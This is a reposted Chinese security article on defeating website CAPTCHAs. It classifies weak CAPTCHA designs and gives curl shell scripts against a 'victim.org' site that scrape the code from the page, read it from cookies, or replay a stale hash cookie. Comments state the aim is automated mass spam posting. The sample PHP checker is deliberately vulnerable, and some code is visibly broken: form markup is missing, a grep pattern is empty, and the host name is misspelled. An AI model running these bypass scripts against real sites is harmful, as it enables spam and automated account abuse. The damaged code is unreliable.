驗證碼破解方法

所謂驗證碼,就是將一串隨機產生的數字或符號,生成一幅圖片,圖片里加上一些干擾象素(防止OCR),由用戶肉眼識別其中的驗證碼信息。

  輸入表單提交網站驗證,驗證成功後才能使用某項功能。不少網站爲了防止用戶利用機器人自動註冊、登錄、灌水,都採用了 驗證碼技術。

  很多驗證碼實現都有問題。比如直接給出用驗證碼在網頁和cookies中。

  驗證碼在網頁中的例子:

  CODE:

  

  /*

  * Filename: authpage.php

  * Author: hutuworm

  * Date: 2003-04-28

  * @Copyleft hutuworm.org

  */

  srand((double)microtime()*1000000);

  //驗證用戶輸入是否和驗證碼一致

  if(isset($HTTP_POST_VARS[’authinput’]))

  {

  if(strcmp($HTTP_POST_VARS[’authnum’],$HTTP_POST_VARS[’authinput’])==0)

  echo "驗證成功!";

  else

  echo "驗證失敗!";

  }

  //生成新的四位整數驗證碼

  while(($authnum=rand()%10000)<1000);

  ?>

  

  
  請輸入驗證碼:


  

  >

  >

  

 


  ;

  [Copy to clipboard]

  以上例子直接將驗證碼儲存在負面中,只需下載頁面,得到驗證碼值就可突破限制。

  CODE:

  #!/bin/sh

  curl http://www.vicitm.org/authpage.php

  authinput=`grep ’’ grep.txt | sed -e ’s/[^0-9]//g’` #得到網頁中的

  authnum

  curl http://www.vicitm.org/authpage.php -d name=hacker -d submit="驗證" -d authnum=$authnum

  [Copy to clipboard]

  CODE:

  session_register("authnum");

  $authnum = strval(rand("1111","9999"));

  setcookie("authnum",$authnum);

  ...

  

  ...

  if($number != $login_check_number || empty($number))

  {

  print("校驗碼不正確!");

  die();

  }

  [Copy to clipboard]

  第二種要比上一種聰明一點,把驗證碼值存放在用戶Cookies中。可是由於Cookies是用戶可讀可寫,所以也極易被突破。

  CODE:

  #!/bin/sh

  $username=hacker

  $password=hackme

  curl http://www.vicitm.org/index.php -c common_cookie # 接受服務器的初始cookies

  curl http://www.vicitm.org/get_code.php -c $username.cook -b common_cookie # 得到驗證碼,從cookies中

  authnum=`grep authnum $username.cook | cut -f7`

  curl http://www.victim.org/login.php -b $username.cook -d authnum=$authnum -d username=$username -d password=$password # 使用

  cookies中的驗證碼登陸

  [Copy to clipboard]

  更高級的驗證碼。(好像本論壇的就是這種。。。。)

  有一類驗證碼比以上兩種驗證碼要高級一些,它使用如下算法:

  1、服務器生成一個隨機hash。

  2、使用某個算法(不可逆,破解難度高的)將hash轉化成爲驗證碼數字,再轉化成圖片。

  3、hash在cookie中被髮送到客戶端

  4、客戶以圖片輸入驗證碼,進行登錄。服務器檢查f(hash)=驗證碼。

  特點:因爲攻擊者不明白服務器所使用的驗證碼編碼算法,所以無法對服務器轉來的hash進行直接解析。

  對付這種驗證碼,我們可以使用“過期cookies法”,方法即:保存服務器一次特定的cookies,將其對應驗證碼記下。在每次發送驗證消息時

  ,強行扔掉服務器傳來的cookies,使用這個已被使用過的cookies以及驗證碼。就好比,一張電話充值卡可以用多次一樣。

  如:

  先從服務器上下載一張驗證碼圖片:

  curl http://www.victim.org/get_code.php -c cookie -o auth.png

  人工閱讀,得到$savecookie(cookie文件中的hash)和$authnum(驗證碼)。

  機器人突破驗證時,扔掉服務器給的hash,強制使用$savecookie和$authnum進行突破

  CODE:

  $savecookie=294b506f05f896dcbb3a0dde86a5e36c

  $num=7701

  $username=hacker

  $password=hackme

  curl http://www.victim.org/index.php -c $username.cookie # 得到初始化cookies,以及session id

  grep -v authhash $username.cookie > tmp.$username # 扔掉服務器給你的hash

  echo "www.victim.org FALSE / FALSE 0 hash $savecookie" >> tmp.$username # 強行使用過期hash 和驗證碼

  mv tmp.$username $username.cookie

  curl http://www.victim.org/login.php -b $username.cookie -c $username.cookie -d username=$username -d password=$password -d

  authnum=$num # 使用過期驗證碼登陸。

  #登陸成功,去瘋狂灌水。。。。。。

  [Copy to clipboard]

  最高級的驗證碼。

  它使用如下方法:

  1、服務器通過用戶相關信息(IP,SID等等)生成一個隨機hash。

  2、使用某個算法(不可逆,破解難度高的)將hash轉化成爲驗證碼數字。

  3、hash不再發送給客戶端。它被保存到本地數據庫(通常是SESSIONS,有關用戶IP等信息),並由一個序列號seq所指向。(這個seq也可以是session id)

  4、seq被作爲cookies發送給客戶端。

  5、客戶以圖片輸入驗證碼。

  6、服務器驗證方法:服務器並不檢查f(hash)==驗證碼,而是去讀取數據庫中期望的驗證碼。。如果用戶輸入與期望值相同,則驗證成功。有些服務器可能還會seq與session id之間的關係進行驗繼續進行驗證。

  7、一旦用戶進行了驗證操作或重新獲取驗證碼,而是服務器將對數據庫中的hash值替換成新的,老值失效過期。

  特點:

  ×過期:由於服務器只期望保存在當前數據庫中的驗證碼,所以無法使用“過期”的驗證碼(因爲已被新驗證碼所替換)。

  ×高強度:只發送seq,而hash被保存在本地,所以也極難破譯出f(hash)函數。

  弱點:

  OCR(光學識別) seq劫持 “驗證碼”DOS(對某些seq進行反覆請求,導致某些用戶無法進行正常驗證)

  對付這種驗證碼我沒有什麼好的方法,簡便的方法就是自行下載驗證碼,並給用戶顯示後登陸。這種適用只驗證一次的場合。如登陸時驗證。

  CODE:

  curl http://www.victim.org/get_code.php -c validate.png -c validcode_cookie # 得到驗證碼圖片,和對應seq。

  seq=`grep seq validcode_cookie | cut -f7`

  echo -n 請輸入validate.png中的驗證碼:

  read valid_number # 輸入驗證碼

  # 登陸,並進行某種自動化操作,如瘋狂灌水。


原文出自【比特網】,轉載請保留原文鏈接:http://sec.chinabyte.com/438/8917438.shtml

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章